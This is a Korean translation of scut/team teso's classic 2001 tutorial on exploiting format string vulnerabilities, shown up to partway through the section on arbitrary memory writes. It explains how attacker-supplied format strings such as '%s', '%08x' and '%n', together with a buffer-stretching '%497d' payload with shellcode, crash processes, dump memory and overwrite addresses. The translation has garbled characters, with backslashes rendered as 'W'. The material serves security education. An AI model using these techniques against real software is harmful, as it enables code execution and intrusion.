

Exploiting Format String Vulnerabilities

scut / team teso

September 1, 2001

version 1.2



번역 및 편집: vangelis (<http://www.wowhacker.org>)

[차례]

1. 소개

1.1 버퍼 오버플로우 vs 포맷 스트링 취약점

1.2 통계: 2000년에 발견된 주요 포맷 스트링 취약점

2. 포맷 함수들

2.1 포맷 스트링 취약점은 어떻게 생겼는가?

2.2 포맷 함수 계열

2.3 포맷 함수의 사용

2.4 포맷 스트링이란 정확하게 무엇인가?

2.5 스택과 포맷 스트링에서 그것의 역할

3. 포맷 스트링 취약점

3.1 무엇을 통제하는가?

3.2 프로그램의 파괴

3.3 프로세스 메모리 보기

3.3.1 스택 보기

3.3.2 어떤 위치에서 메모리 보기

3.4 임의의 메모리 덮어쓰기

3.4.1 공격 - 일반적인 버퍼 오버플로우와 유사

3.4.2 공격 - 순수 포맷 스트링

4. 다양한 공격

4.1 짧게 쓰기

4.2 스택 Popping

4.3 직접적인 파라미터 접근

5. 무작위 대입

5.1 무작위 대입 기반의 반응

5.2 맹목적인 무작위 대입

6. 특별한 경우들

6.1 대안 목표

6.1.1 GOT 덮어쓰기

6.1.2 DTORS

6.1.3 C 라이브러리 후크

6.1.4 _atexit 구조

6.1.5 함수 포인터

6.1.6 jmpbuf's

6.2 LibC 안으로 리턴

6.3 다양한 Print

6.4 Heap 내의 포맷 스트링

6.5 특별히 고려할 점

7.工구들

7.1 ltrace, strace

7.2 GDB, objdump

1. 소개

이 문서는 2000년 후반 보안 커뮤니티를 충격 속으로 몰아넣은 포맷 스트링 취약점이라는 현상의 본질에 대해서 설명하는 것인데, 새로운 종류의 취약점들이 발견되고 있으며, 작은 유ти리티에서부터 서버 어플리케이션에 이르는 모든 종류의 프로그램에서 익스플로잇이 가능한 버그들의 물결이 발견되도록 야기시켰다.

이 문서는 포맷 스트링 취약점의 구조를 설명한 후 복잡한 exploit를 만드는데 이 지식을 사용할 것이다. 그것은 C 소스 코드에서 포맷 스트링 취약점을 어떻게 발견하고, 왜 이 취약점이 일반적인 버퍼 오버플로우 취약점보다 더 위험한지 보여준다.

이 문서는 독일의 베르лин에서 열린 17회 Chaos Communication Congress (<http://www.ccc.de/congress/>)에서 발표한 것을 바탕으로 하고 있다. 이 문서는 다른 문서들에서 언급된 대부분을 포함하고 있으며, 이 취약점을 익스플로잇할 때 필요한 몇 가지를 더 추가했다. 이 문서를 읽고 말하고 싶은 것이 있다면 scut@team-teso.net으로 보내주길 바란다.

이 문서의 첫 부분은 포맷 스트링 취약점의 역사와 인식을 다루며, 그런 다음 소스 코드에서 그와 같은 취약점을 발견하는 방법과 그 취약점을 피하는 방법에 대해 자세하게 다룬다. 그 다음으로 이 취약점을 다루기 위한 기본적인 테크닉에 대해서 알아볼 것이다. 이 방법은 수정되고, 개선되었으며, 그리고 오늘날까지 알려진 어떤 종류의 포맷 스트링 취약점도 거의 익스플로잇할 수 있도록 해주는 특정한 상황에 실제적으로 적용될 것이다.

모든 취약점과 마찬가지로 포맷 스트링 취약점도 여러 시간을 통해 개발되었으며, 종종 옛 취약점들이 어떤 상황에서는 적용되지 않기 때문에 새로운 테크닉들이 등장하고 있다. 이

문서를 작성하는데 많은 영향을 준 사람들로서는 최초의 포맷 스트링 exploit을 작성한 tf8 와 그의 뛰어난 글에서 익스플로잇 가능성을 연구하고 개발한 portal, 오늘날 알려진 대부분의 주요 포맷 스트링 취약점을 발견한 DIGIT, 그리고 복잡한 무작위 대입법 테크닉을 개발한 smiler 이다.

1.1 버퍼 오버플로우 vs 포맷 스트링 취약점

과거에 거의 모든 주요 취약점들이 일종의 버퍼 오버플로우였기 때문에 이것과 포맷 스트링 취약점을 비교해보기로 하자.

	버퍼 오버플로우	포맷 스트링
대중화	1980년대 중반 이후	1999년 6월
위험인식	1990년대	2000년 6월
Exploit 수	아주 많음	아직 많지는 않은
인식	보안 위협	프로그래밍 버그
테크닉	발전됨	기본적인 상태
인지	가끔 알아내기 어려움	찾기 쉬움

1.2 통계: 2000년 주요 포맷 스트링 취약점들

애플리케이션	발견자	영향
wu-ftpd 2.*	Security.is	remote root
Linux rpc.statd	Security.is	remote root
IRIX telnetd	LSD	remote user
Qualcomm Popper 2.53	Security.is	remote user
Apache + PHP3	Security.is	remote user
NLS / locale	CORE SDI	local root
screen	Jouko Pynnonen	local root
BSD chpass	TESO	local root
OpenBSD fstat	ktwo	local root

아직 알려지지 않았거나 발견되지 않은 취약점들이 여전히 존재하며, 앞으로 2~3년 동안 발견될 새로운 취약점들의 통계에 포맷 스트링 취약점들이 기여할 것이다. 앞으로 알아보겠지만, 포맷 스트링 취약점은 좀더 복잡한 룰을 가지고 자동적으로 발견하기가 쉬우며, 오늘날의 대부분의 코드에 아직 공개적으로 알려지지 않았거나 이미 exploit이 존재하는 포맷 스트링 취약점들이 존재한다고 가정해도 무리가 없을 것이다.

애플리케이션들에서 바이너리 형태만으로 이용 가능한 포맷 스트링 취약점들을 발견하는 방법들도 있다. 이것을 하기 위해서는 독립변수 결함을 찾기 위한 좀더 포괄적인 접근이 사용되고, Halvar Flake의 뛰어난 바이너리 정경에 대한 글 “Auditing binaries for security vulnerabilities” (<http://www.blackhat.com/presentations/bh-europe-00/HalvarFlake/HalvarFlake.ppt>)에서 자세하게 설명되어 있다.

2. 포맷 함수

포맷 함수는 특별한 종류의 ANSI C 함수로서 독립변수를 가지며, 그것으로부터 하나가 포맷 스트링이다. 그 함수가 포맷 스트링의 값을 구하는 동안 그것은 그 함수에 주어진 특정 파라미터에 접근한다. 그것은 역함수이며, 그 역함수는 사람이 읽을 수 있는 스트링 표현으로서 원시 C 데이터 타입을 나타내기 위해 사용된다. 그것들은 정보를 출력하고, 예전 메시지를 프린터하고, 또는 스트링을 처리하기 위해 거의 어떤 C 프로그램에서도 사용된다.

이 장에서 우리는 포맷 함수들의 용법에서 전형적인 취약점과 정확한 용법, 그 파라미터의 몇 가지, 그리고 포맷 스트링 취약점의 일반적인 개념에 대해서 알아볼 것이다.

2.1 포맷 스트링 취약점은 어떻게 생겼는가?

만약 어떤 공격자가 포맷 스트링을 ANSI C 포맷 함수에 부분적으로 또는 전체적으로 제공할 수 있다면 포맷 스트링 취약점이 존재한다. 그렇게 함으로써 포맷 함수의 행동이 변하게 되고, 공격자는 목표 애플리케이션에 대한 통제권을 장악할 수 있다.

아래의 보기에서 스트링 user 가 공격자에 의해 제공되는데, 공격자는 예를 들어 명령 라인 파라미터 사용을 통해 전체 ASCII-string을 통제할 수 있다.

잘못된 용법:

```
int
func (char *user)
{
    printf (user);
}
Ok:
int
func (char *user)
```

```
{
printf ("%s", user);
}
```

2.2 포맷 함수 계열

많은 포맷 함수들이 ANSI C 정의에 정의되어 있다. 더 복잡한 함수들이 기반을 두고 있는 몇 가지 기본적인 포맷 스트링 함수들이 있으며, 그들을 중 몇 가지는 표준은 아니지만 널리 사용될 수 있다.

실제 계열 요소:

- * fprintf: FILE 스트림에 프린터
- * printf: 'stdout' 스트림에 프린터
- * sprintf: 어떤 스트링 안에 프린터
- * snprintf: 길이 확인과 더불어 스트링 안에 프린터
- * vfprintf: va_arg 구조로부터 FILE 스트림에 프린터
- * vprintf: va_arg 구조로부터 'stdout'에 프린터
- * vsprintf: va_arg 구조로부터 스트링에 프린터
- * vsnprintf: va_arg 구조로부터 길이 확인과 함께 스트링에 프린터

관련 요소:

- * setproctitle: argv[] 설정
- * syslog: syslog 장치에 출력
- * err*, verr*, warn*, vwarn* 등

2.3 포맷 함수들의 사용

이 취약점이 C 코드 어디에서 일반적인지 이해하기 위해 우리는 포맷 함수의 목적을 알아보아야 한다.

기능성

- * 간단한 C 데이터타입을 스트링 표시로 전환하기 위해 사용됨
- * 그 표시의 포맷을 지정하는 것을 허용
- * 그 결과로 나오는 스트링을 처리(stderr, stdout, syslog 등에 출력)

포맷 함수의 작동 방식

- * 포맷 스트링은 함수의 행위를 통제한다.
- * 프린터되어야 하는 파라미터의 타입을 지정한다.
- * 파라미터는 스택에 저장된다.(pushed)

* 직접적으로든(value로) 아니면 간접적으로든(reference로) 저장된다.
함수 호출은 포맷 함수가 리턴 될 때 그것이 얼마나 많은 파라미터를 스택에 push 하는지 알아야 한다.

2.4 포맷 스트링이란 정확하게 무엇인가?

포맷 스트링이란 텍스트와 포맷 파라미터를 포함하는 ASCIIZ 스트링이다.

예:

```
printf ("The magic number is: %d\n", 1911);
```

프린터될 텍스트는 "The magic number in:이며, 포맷 파라미터 %d 가 따르고, 이것은 출력 시 파라미터(1911)로 대체된다. 그러므로 출력물은 "The magic number is: 1911"이다.

몇 가지 포맷 파라미터:

파라미터	출력	Passed by
%d	십진수(int)	값
%u	unsigned 십진수(unsigned int)	값
%x	16 진수(unsigned int)	값
%s	스트링((const) (unsigned) char *)	레퍼런스
%n	여태까지 쓰인 바이트 수. (* int)	레퍼런스

'W' 문자는 특별한 문자들을 escape 하는데 사용된다. 그것은 바이너리의 적절한 문자에 의해 escape 시퀀시를 대체하면서 컴파일 때 C 컴파일러에 의해 대체된다. 포맷 함수들은 그런 특정한 시퀀시를 인식하지 못한다. 사실, 포맷 함수와는 전혀 상관이 없다. 하지만 가끔 혼합되기도 한다.

예:

```
printf ("The magic number is: Wx25d\n", 23);
```

이것은 제대로 실행되는데, Wx25 가 %로 컴파일 때 대체되기 때문이며, 0x25(37)는 퍼센트 문자에 대한 ASCII 값이기 때문이다.

2.5 스택과 포맷 스트링에서 스택의 역할

포맷 함수의 작동은 포맷 스트링에 의해서 통제된다. 그 함수는 스택으로부터 포맷 스트링에 의해 요청 받은 파라미터를 저장한다.

```
printf ("Number %d has no address, number %d has: %08x\n", i, a, &a);
```

printf 함수 내에서 본다면 스택의 모양을 다음과 같다.

```
stack top  
...  
<&a>  
<a>  
<i>  
A  
...  
stack bottom
```

위의 구조를 살펴보면 다음과 같다.

A: 포맷 스트링의 주소

i: 변수 i의 값

a: 변수 a의 값

&a: 변수 i의 주소

포맷 함수는 한 문자를 읽음으로서 포맷 스트링을 분석한다. 만약 그것이 '%'이 아니라면 그 문자는 출력으로 복사된다. 그런 경우 '%' 뒤의 문자는 파라미터의 타입을 지정한다. 스트링 “%”은 특별한 의미를 가지고 있는데, 그것은 escape 문자 '%' 자체를 프린터 하는데 사용된다. 다른 모든 파라미터는 데이터에 관련되고, 스택상에 위치한다.

3. 포맷 스트링 취약점

포괄적인 종류의 포맷 스트링은 “채널링 문제”이다. 이런 형태의 취약점은 만약 두 개의 다른 형태의 정보 채널이 하나 속으로 병합되고, 특정한 escape 문자나 시퀀시가 어느 채널이 현재 활성화되어 있는지 구분하기 위해 사용된다면 나타날 수 있다. 대부분 하나의 채널은 데이터 채널이고, 다른 채널이 통제 채널인 반면 그것은 활발하게 분석되지 않고 단지 복사된다.

이것이 그 자체로는 나쁜 것이 아니지만 만약 공격자가 하나의 채널에 사용되는 입력값을 공급할 수 있다면 그것은 보안상의 문제가 될 수 있다. 포맷 스트링 취약점에서처럼 종종 결함이 있는 escape 또는 de-escape 루틴이 있거나, 또는 그것들이 어떤 레벨을 살피기도 한다. 간단히 말해서 채널링 문제는 그 자체로는 보안 출이 아니지만 버그를

익스플로잇할 수 있도록 만든다. 이것 배후의 일반적인 문제를 예증하기 위해 일반적인 채널링 문제들에 대한 다음 표를 제시한다.

상황	데이터 채널	통제 채널	보안문제
전화시스템	목소리 또는 데이터	통제 톤 라인	통제 장악
PPP 프로토콜	데이터 전송	PPP 명령	트래픽 증폭
스택	데이터 쌓기	리턴 어드레스	retaddr 통제
malloc 버퍼	데이터 할당	관리 정보	메모리에 쓰기
포맷 스트링	스트링 출력	포맷 파라미터	포맷 함수 통제

특정한 포맷 스트링 취약점으로 다시 돌아가서, 포맷 스트링 취약점이 발생할 수 있는 두 가지 전형적인 상황이 있다.

[타입 1] 리눅스의 rpc.statd, IRIX 의 telnetd 등에서처럼, 여기서 취약점은 syslog 함수의 두 번째 파라미터에 있다. 이 포맷 스트링은 부분적으로 usersupplied이다.

```
char tmpbuf[512];
```

```
snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user);
tmpbuf[sizeof (tmpbuf) - 1] = '\0';
syslog (LOG_NOTICE, tmpbuf);
```

[타입 2] wu-ftpd, Qualcomm Popper QPOP 2.53 에서처럼 여기서 부분적 또는 완전히 usersupplied 스트링은 포맷 함수에 간접적으로 전달된다.

```
int Error (char *fmt, ...);
...
int someotherfunc (char *user)
{
...
Error (user);
...
}
```

...

첫 번째 탑의 취약점들은 자동화된 둘들(예를 들어, pscan 또는 TESOgcc)에 의해 안전하게 탐지될 수 있는 반면, 두 번째 탑의 취약점들은 탐지 둘이 함수 "Error"가 포맷 함수처럼 사용된다는 것을 알고 있을 때만 발견될 수 있다.

3.1 이제 우리는 무엇을 통제할 것인가?

포맷 스트링을 공급하는 것을 통해 우리는 포맷 함수의 작동을 통제할 수 있다. 우리는 지금 정확하게 무엇을 통제할 수 있으며, 그리고 완전한 통제권을 장악하기 위해 이 부분적인 통제권을 어떻게 사용할 것인가에 대해 알아볼 것이다.

3.2 프로그램의 파고

포맷 스트링 취약점을 사용한 간단한 공격은 프로세스가 죽게 만드는 것이다. 이것은 예를 들어 core를 덤퍼하는 데몬을 죽이는데 유용하게 사용될 수 있다. 또는 몇몇 네트워크 공격에서 DNS 스포핑을 할 때 어떤 서비스가 반응하지 않도록 하는데도 유용할 것이다.

하지만, 그 프로세스를 죽이는데 있어 몇 가지 흥미로운 부분이 있을 수 있다. 거의 모든 유닉스 시스템에서 불법적인 포인터 접근은 커널에 의해 포착되고, 그 프로세스는 SIGSEGV 시그널을 보낼 것이다. 보통 그 프로그램은 종료되고, core를 덤퍼할 것이다.

포맷 스트링을 이용함으로써, 다음과 같은 포맷 스트링을 단지 공급하여 유효하지 않은 포인터 접근을 쉽게 할 수 있다.

```
printf ("%s%s%s%s%s%s%s%s%s%s%s");
```

'%s'가 많은 다른 데이터가 저장되어 있는 스택 상에 공급되는 주소로부터 메모리를 역시 보여주기 때문에 맵핑되어 있지 않은 '불법적인' 주소로부터 읽을 기회가 높아진다. 또한 대부분의 포맷 함수 구현은 '%n' 파라미터를 제공하며, 그것은 스택 상의 주소에 쓰기 위해 사용될 수 있다. 만약 그것이 몇 차례 이루어지면 거의 확실히 프로세스를 죽게 만들 것이다.

3.3 프로세스 메모리 보기

만약 우리가 포맷 함수의 응답(출력 스트링)을 볼 수 있다면 우리는 그것으로부터 유용한 정보를 수집할 수 있으며(왜냐하면 그것은 우리가 통제하는 행위의 출력이기 때문이다), 그리고 우리는 이 결과를 우리의 포맷 스트링이 무엇을 하며, 프로세스 배치가 어떻게 생겼는지에 대한 개략적인 내용을 획득하는데 사용할 수 있다. 이것은 실제 공격의 offset를 찾거나 또는 공격 대상 프로세스의 스택 프레임을 재구성하는 것과 같은 다양한 일을 위해서도 유용할 것이다.

3.3.1 스택 보기

우리는 다음과 같은 포맷 스트링을 사용하여 스택 메모리의 몇몇 부분을 볼 수 있다.

```
printf ("%08x.%08x.%08x.%08x.%08x\n");
```

이것은 제대로 출력되는데, 왜냐하면 우리가 printf 함수로 하여금 스택으로부터 다섯 가지의 파라미터를 결색하고, 그것들을 16 진수로 나타내라고 지시했기 때문이다. 그래서 출력은 다음과 같다 것이다.

```
40012980.080628c4.bffff7a4.00000005.08059c04
```

이것은 스택이 낮은 주소로 커진다는 것을 가정하고 현재의 스택 바닥에서부터 스택의 꼭대기 쪽으로 출발하는 스택 메모리를 부분적으로 덤퍼한 것이다. 포맷 스트링 버퍼의 크기와 출력 버퍼의 크기에 따라 여러분들은 이 테크닉을 사용하여 스택 메모리의 다소 큰 부분들을 재구성할 수 있다. 어떤 경우에는 전체 스택 메모리를 결색할 수도 있을 것이다. 스택을 덤퍼하는 것은 프로그램 흐름과 로컬 함수 변수들에 대한 중요한 정보를 구할 수 있도록 해주며, 성공적인 공격을 위한 정확한 offset을 찾는데도 큰 도움이 될 것이다.

3.3.2 어떤 위치에서 메모리 보기

스택 메모리와 다른 메모리 위치를 보는 것도 가능하다. 이것을 위해 우리는 포맷 함수로 하여금 우리가 제공할 수 있는 어떤 주소로부터 메모리를 보여주도록 해야 한다. 이것은 우리에게 두 가지 문제를 제시한다. 첫 번째, 우리는 스택 파라미터로서 주소를 사용하고, 그곳으로부터 메모리를 보여주는 포맷 파라미터를 찾아야 하고, 그리고 우리는 그 주소를 제공해야 한다. 첫 번째 경우에는 운이 좋은 편이다. 왜냐하면 '%s' 파라미터가 그것을 해주기 때문이며, 그것은 스택 제공 주소로부터 보통 ASCIIZ 스트링인 메모리를 보여준다. 그래서 나머지 문제는 우리가 스택상의 그 주소를 어떻게 구하고, 올바른 곳에 집어넣는 것인가이다.

우리의 포맷 스트링은 보통 스택 그 자체에 위치한다. 그래서 우리는 이미 포맷 스트링이 놓여있는 그 공간에 대한 완전한 통제권에 가까이 다가가 있는 셈이다. 포맷 함수는 내부적으로 현재 포맷 파라미터의 스택 위치에 대한 포인터를 유지하고 있다. 만약 우리가 이 포인터가 우리가 통제할 수 있는 메모리 공간 안으로 지시하게 할 수 있다면 우리는 '%s' 파라미터에 어떤 주소를 제공할 수 있다. 스택 포인터를 변경하기 위해 우리는 아래와 같은 정크를 프린팅함으로써 스택을 'dig'할 더미 파라미터를 간단히 사용할 수 있다.

```
printf ("AAA0AAA1_%08x.%08x.%08x.%08x");
```

'%08x' 파라미터는 포맷 함수의 내부 스택 포인터를 스택의 꼭대기 쪽으로 증가시킨다. 얼마

후 스택 포인터는 우리의 메모리(포맷 스트링 그 자체)를 가리킨다. 포맷 함수들은 항상 가장 낮은 스택 프레임을 유지하며, 그래서 만약 우리의 버퍼가 스택 상에 놓여 있다면 그것은 확실히 현재 스택 포인터 위에 놓여 있다. 만약 우리가 '%08x' 파라미터의 수를 정확하게 선택한다면, 우리는 우리의 스트링에 '%s'를 추가함으로써 임의의 주소로부터 메모리를 볼 수 있다. 우리가 예로 든 주소는 맞지 않으며, AAA0 이 될 것이다. 그것을 실제의 것으로 대체해보자.

예:

```
address = 0x08480110
address (encoded as 32 bit le string): "Wx10Wx01Wx48Wx08"

printf ("Wx10Wx01Wx48Wx08_%08x.%08x.%08x.%08x|%s|");
```

이것은 NUL 바이트가 도달할 때까지 0x08480110로부터 메모리를 덤퍼할 것이다. 이 메모리 주소를 역동적으로 증가시킴으로써 우리는 전체 프로세스 공간을 알아낼 수 있다. 원격 프로세스의 이미지 같은 coredump 를 만들고, 그것으로부터 바이너리를 재구성하는 것도 심지어 가능하다.[Silvio, "ELF executable reconstruction from a core image". <http://www.big.net.au/%7esilvio/core-reconstruction.txt>] 그것은 또한 성공적이지 못한 공격 시도의 원인을 찾는데도 도움이 된다.

만약 우리가 4 바이트 pops('%08x')를 사용하여 정확한 포맷 스트링 경계에 도달할 수 없다면, 우리는 하나, 둘 또는 세 개의 정크 문자를 프리펜딩하여(prepending) 포맷 스트링을 메워야 한다. 이것은 버퍼 오버플로우 악스플로잇에서 정결과 유사하다.

3.4. 임의의 메모리 덮어쓰기

공격은 어떤 프로세스의 명령(instruction) 포인터의 통제권을 장악하는 것이다. 대부분의 경우 명령 포인터(종종 IP 또는 PC라는 이름을 가짐)는 CPU에서 레지스터이며, 직접적으로 변경될 수 없다. 왜냐하면 컴퓨터 시스템만이 그것을 바꿀 수 있기 때문이다. 하지만 만약 우리가 그런 시스템 명령어를 내릴 수 있다면 우리는 이미 통제권을 가질 필요가 있다.

그래서 우리는 직접적으로 그 프로세스에 대한 통제권을 가질 수 없다. 보통, 그 프로세스는 공격자가 현재 가지고 있는 권한 이상의 권한을 가지고 있다.

대신 우리는 명령 포인터를 변경할 지침들을 찾아야 하며, 그리고 어떻게 이 지침들이

그것을 변경할 것인가에 대한 영향력을 가지고 있어야 한다. 이것은 복잡하게 들릴지 모르지만 대부분의 그것은 경우 아주 쉽다. 왜냐하면 메모리로부터 명령 포인터를 가지고 그것으로 점퍼하는 지침들이 있다. 그래서 대부분의 경우 지침 포인터가 저장되어 있는 메모리의 이 부분에 대한 통제권은 지침 포인터 그 자체에 대한 통제권에 대한 프로세스(processor)이다. 다음은 대부분의 버퍼 오버플로우가 작동하는가의 원리이다.

두 단계의 프로세스에서, 첫 번째 저장된 지침 포인터가 덮어쓰이고, 그런 다음 그 프로그램은 공격자가 제공한 주소에 통제권을 전송하는 합법적인 지침을 실행한다. 우리는 포맷 스트링 취약점을 사용하여 이것을 성취하는 다른 방법들을 살펴볼 것이다.

3.4.1. 공격 - 버퍼 오버플로우와 유사한 공격

포맷 스트링 취약점은 가끔 버퍼 길이 제한에 관한 방법을 제공하고, 일반적인 버퍼 오버플로우와 비슷한 공격을 허용한다. 아래의 코드는 QPOP 2.53 와 bftpd 에서 나오는 것이다.

```
{
char outbuf[512];
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
}
```

이와 같은 경우는 실제 코드에서는 아주 깊은 곳에 숨어져 있으며, 위의 보기처럼 분명하게 보이지는 않는다. 특별한 포맷 스트링을 제공함으로써 '%400s'의 한계를 우회할 수 있다.

%497dWx3cWxd3WxffWxbf<nops><shellcode>

모든 것이 일반적인 버퍼 오버플로우 악스플로잇 스트링과 비슷하고, 단지 앞의 '%497d'만이 다르다. 일반적인 버퍼 오버플로우에서 우리는 스택상의 함수 프레임의 리턴 주소를 덮어쓴다. 이 프레임을 소유한 함수가 리턴하면 그것은 우리가 공급한 주소에 리턴시킨다. 그 주소는 '<nop>' 공간 내의 어딘가를 지칭한다. 이 공격 방법에 대해서 솔하고 있는 좋은 문서들이 있으며, 만약 이 보기와 여러분에게 충분하지 않다면



Plasmoid/THC, "Stack overflows", <http://www.thehackerschoice.com/papers/OVERFLOW.TXT>

를 참고해라.

그것은 497 개의 문자 길이의 스트링을 만든다. 예레 스트링("Error Wrong command: ")과 함께 이것은 outbuf 버퍼를 4 바이트 초과한다. 비록 'user' 스트링이 400 바이트만 허용하기 때문에 우리는 포맷 스트링 파라미터를 악용함으로써 그것의 길이를 확장할 수 있다. 두 번째 sprintf는 길이를 체크하지 않기 때문에 이것은 outbuf의 경계를 침입하는데 사용될 수 있다.

지금 우리는 리턴 어드레스(0xbffffd33c)를 쓰고, 그것을 옛날 방식으로 익스플로잇한다. %50d, %50f, 또는 %50s 처럼 원래의 포맷 스트링을 '스트레칭'하는 것을 허용하는 어떤 포맷 파라미터가 할 것처럼, 어떤 포인터를 dereference 하지 않거나 0 으로 분류하는 것을 야기할 수 있는 파라미터를 선택하는 것이 바람직하다. 이것은 %f 와 %s 를 제외한다. 우리는 정수 출력 파라미터 %d, %u, 그리고 %x 와 낭게 된다.

GNU C 라이브러리는 버그를 가지고 있는데, 만약 1000 이상의 n 으로 %nd 와 같은 파라미터를 사용할 경우 결국 크래쉬되게 된다. 이것은 원격으로 GNU C 라이브러리의 존재를 확인하는 한 방법이다. 만약 %.nd 를 사용하면 아주 높은 값이 사용되는 것을 제외하고 그것은 적절하게 작동한다. %nd 와 %.nd 에서 사용할 수 있는 길이에 대해 좀더 깊게 알아보려면 portal, "Format String Exploitation Demystified,"(preliminary version 21, not yet published, <http://www.security.is/>)를 참고해라.

3.4.2. 공격 – 순수 포맷 스트링을 통한 공격

만약 우리가 방금 언급된 그 간단한 공격 방법을 적용할 가능한 방법을 가지고 있지 않다고 해도, 우리는 여전히 그 프로세스를 익스플로잇할 수 있다. 그렇게 함으로써 우리는 실제 실행 통제에 아주 제한된 통제를 확장하고, 그것은 우리의 시스템 코드를 실행한다. wu-ftpd 2.6.0에서 발견되는 다음과 같은 코드를 보자.

```
{
char buffer[512];
snprintf (buffer, sizeof (buffer), user);
buffer[sizeof (buffer) - 1] = '\0';
}
```

위의 코드에서 어떤 종류의 '스트레칭' 포맷 파라미터를 삽입함으로써 우리의 버퍼를 확대하는 것이 가능하지 않다. 왜냐하면 그 프로그램은 우리가 버퍼를 초과할 수 없다는 것을 확신하기 위해 안전한 snprintf 함수를 사용하기 때문이다. 처음에는 마치 우리가 프로그램을 다운시키고 약간의 메모리를 정경하는 것을 제외하고 유용한 일을 많이 할 수 없는 것처럼

보인다.

앞에서 언급된 포맷 파라미터를 기억하자. '%n' 파라미터가 있는데, 이것은 이미 프린터된 바이트의 수를 우리가 선택한 변수에 쓸 수 있다. 그 변수의 주소는 파라미터로서 정수 포인터를 스택상에 위치시킴으로써 포맷 함수에 주어진다.

```
int i;
printf ("foobar%n\n", (int *) &i);
printf ("i = %d\n", i);
```

이것은 "i = 6"을 프린터할 것이다. 임의의 주소로부터 메모리를 인쇄하기 위해 위에서 사용한 같은 방법으로 우리는 임의의 위치에 쓸 수 있다.

"AAA0_%08x.%08x.%08x.%08x.%08x.%n"

'%08x' 파라미터로 우리는 포맷 함수의 내부 스택 포인터를 4 바이트 증가시킬 수 있다. 우리는 이 포인터가 우리의 포맷 스트링의 시작 부분(AAA0)을 가리킬 때까지 이것을 한다. 이것은 제대로 작동하는데, 보통 우리의 포맷 스트링이 스택(우리의 일반적인 포맷 함수 스택 프레임의 정상)에 위치하기 때문이다. '%n'은 주소 0x30414141 에 쓰는데, 그것은 스트링 'AAA0'에 의해 표현된 것이다. 보통 이것은 프로그램을 다운시키는데, 이 주소가 맵핑되지 않았기 때문이다. 하지만 만약 우리가 정확하게 맵핑되고 쓰여질 수 있는 주소를 공급하면 이것은 작동하고, 우리는 그 주소에 4 바이트(sizeof(int))를 덮어쓸 수 있다.

"Wxc0Wxc8WxffWxbf_%08x.%08x.%08x.%08x.%08x.%n"

위의 포맷 스트링은 작은 정수로 0xbffffc8c0 에 4 바이트를 덮어쓸 것이다. 우리는 우리의 목표 중에서 하나에 도달했다. 즉, 우리는 임의의 주소에 쓸 수 있다. 하지만 우리는 우리가 쓰고 있는 수를 통제할 수 없지만 이것은 바뀔 것이다. 우리가 쓰는 넘버. 즉 포맷 함수에 의해 쓰여진 문자의 수는 포맷 스트링에 의존한다. 우리가 포맷 스트링을 통제하기 때문에 우리는 적어도 이 카운터에 영향을 줄 수 있다.

```
int a;
printf ("%10u%n", 7350, &a);
/* a == 10 */
int a;
printf ("%150u%n", 7350, &a);
/* a == 150 */
```

더미 파라미터 '%nu'를 사용하여 우리는 '%n'에 의해서 쓰여진 카운터를 통제할 수 있다. 하지만 그와 같은 주소처럼 큰 수를 쓰는 것이 충분하지 않기 때문에 우리는 임의의 데이터를 쓰기 위한 방법을 찾아야만 한다.

x86 아키텍처에서 정수는 4 바이트로 저장되고, 가장 덜 중요한 것은 메모리에서 첫 번째 것이다. 그래서 0x0000014c 와 같은 수는 메모리에 "Wx4cWx01Wx00Wx00"처럼 저장된다. 포맷 할수의 카운터에 대해서는 우리가 가장 덜 중요한 바이트를 통제할 수 있으며, 첫 번째 바이트는 그것을 변경하기 위해 더미 '%nu' 파라미터를 사용하여 메모리에 저장된다.

예:

```
unsigned char foo[4];
printf ("%64u%6n", 7350, (int *) foo);
```

printf 함수가 리턴될 때, foo[0]은 Wx40 을 포함하고 있으며, 그것은 카운터를 증가시키기 위해 사용했던 64 와 동일하다. 하지만 주소에 대해서는 우리가 완전히 통제해야하는 4 바이트가 있다. 만약 우리가 즉시 4 바이트를 쓸 수 없다면 우리는 네 번에 걸쳐 한번씩 1 바이트씩 쓰도록 노력할 수는 있다. 대부분의 CISC 아키텍처에서는 정렬되지 않은 임의의 주소에 쓰는 것이 가능하다. 이것은 두 번째로 덜 중요한 메모리의 바이트를 쓰는데 사용될 수 있으며, 그곳에 그 주소가 저장된다. 이것은 다음과 같다.

```
unsigned char canary[5];
unsigned char foo[4];
memset (foo, 'Wx00', sizeof (foo));
/* 0 * before */ strcpy (canary, "AAAA");
/* 1 */ printf ("%16u%6n", 7350, (int *) &foo[0]);
/* 2 */ printf ("%32u%6n", 7350, (int *) &foo[1]);
/* 3 */ printf ("%64u%6n", 7350, (int *) &foo[2]);
/* 4 */ printf ("%128u%6n", 7350, (int *) &foo[3]);
/* 5 * after */ printf ("%02x%02x%02x%02xWn", foo[0], foo[1],
    foo[2], foo[3]);
printf ("canary: %02x%02x%02x%02xWn", canary[0],
    canary[1], canary[2], canary[3]);
```

출력 "10204080"와 "canary: 00000041"을 리턴했다. 우리는 우리가 지시한 정수의 가장 덜 중요한 바이트를 네 번 덮어썼다. 매번 포인터를 증가시킴으로써 가장 덜 중요한 바이트는 우리가 쓰고자 원하는 메모리를 통해 이동하며, 그리고 완전히 임의의 데이터를 우리가

저장하도록 허용한다.

[보기 1]의 첫 줄에서 볼 수 있듯이 모든 8 바이트는 우리의 덮어 쓰여진 코드에 의해 아직 영향을 받지 않고 있다. 두 번째 줄부터 네 번 덮어쓰고, 1 바이트씩 오른쪽으로 매번 이동한다. 마지막 줄은 마지막으로 바라는 상태를 보여주는데, foo 배열의 모든 4 바이트를 덮어썼다. 하지만 그렇게 하는 동안 우리는 canary 배열의 3 바이트를 파괴했다.

[보기 1] 주소의 4 단계 덮어쓰기

0	00 00 00 00	41 41 41 41 00	이전
1	10 00 00 00	41 41 41 41 00	
2	10 20 00 00	00 41 41 41 00	
3	10 20 40 00	00 00 41 41 00	
4	10 20 40 80	00 00 00 41 00	
5	10 20 40 80	00 00 00 41 00	이후

비록 이 방법이 복잡하게 보이지만 임의의 주소에 임의의 데이터를 덮어쓰기 위해 사용될 수 있다. 설명을 위해 우리는 지금까지 포맷 스트링 당 하나의 쓰기를 사용했지만, 하나의 포맷 스트링 내에 여러 번 쓰는 것도 역시 가능하다.

```
strcpy (canary, "AAAA");
printf ("%16u%6n%16u%6n%32u%6n%64u%6n",
1, (int *) &foo[0], 1, (int *) &foo[1],
1, (int *) &foo[2], 1, (int *) &foo[3]);
printf ("%02x%02x%02x%02xWn", foo[0], foo[1],
foo[2], foo[3]);
